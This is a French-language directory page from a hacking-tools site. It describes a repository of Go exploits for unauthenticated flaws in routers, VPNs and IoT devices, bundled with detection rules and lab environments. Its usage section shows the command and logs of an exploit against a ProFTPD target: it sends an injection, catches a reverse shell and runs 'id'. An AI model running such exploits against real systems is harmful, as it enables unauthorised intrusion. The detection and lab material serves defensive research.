Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
initial-access-community — Exploits en Go pour les vulnérabilités réseau non authentifiées dans les routeurs, VPN, appliances et IoT, fournis avec des PCAP, des règles Suricata/Snort/YARA/Sigma et des scripts Nmap. | Kitploit
Outils/GitHubGitHub/vulncheck-oss/initial-access-community
Sécurité des Systèmes EmbarquésReconnaissanceFrameworks d'ExploitationSécurité IoTAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionRessources Organisées

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Développement de Charges Utiles
GitHubvulncheck-oss/initial-access-community

initial-access-community

Exploits en Go pour les vulnérabilités réseau non authentifiées dans les routeurs, VPN, appliances et IoT, fournis avec des PCAP, des règles Suricata/Snort/YARA/Sigma et des scripts Nmap.

Voir le dépôtSite web
21327il y a 1 jourVérifié par Kitploit

Communauté Initial Access

Le dépôt Initial Access Community de VulnCheck contient des exploits et les artefacts associés issus de notre produit propriétaire Initial Access Intelligence ainsi que des contributions de la communauté. Initial Access se concentre généralement sur les vulnérabilités réseau qui ne nécessitent pas d'interaction de l'utilisateur, avec une forte préférence pour les vulnérabilités non authentifiées. Les cibles typiques incluent les routeurs, les VPN, les services auto-hébergés (MobileIron, GitLab, Confluence, etc.), les appliances réseau, les applications B2B et les appareils IoT.

Les exploits sont écrits en Go à l'aide du framework go-exploit de VulnCheck. Lorsque cela est possible, les exploits incluent un vérificateur de cible et un scanner de version. Initial Access ne se limite toutefois pas aux exploits. Nous nous intéressons également à la découverte et à la détection. En complément des exploits, nous incluons, lorsque cela est possible :

  • PCAPs
  • Règles Suricata
  • Règles Snort 2.9
  • Règles YARA
  • Scripts Nmap
  • Règles Sigma
  • Environnements Docker Compose vulnérables
  • Requêtes Target Intelligence pour Censys, Censys Legacy, Shodan, FOFA, ZoomEye, Google et Baidu.

Exploits

Conception des exploits

Nous suivons les mêmes recommandations que go-exploit pour la conception des exploits. Voir la présentation du paquet go-exploit.

Utilisation des exploits

$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)

Organisation du dépôt

  • feed/ - Exploits et artefacts spécifiques aux vulnérabilités
  • verification/ - Code partagé de vérification des cibles
  • shells/ - Code partagé de shells et de payloads
  • examples/ - Modèles pour créer de nouveaux exploits
  • tools/ - Outillage et utilitaires du projet
Télécharger l’outil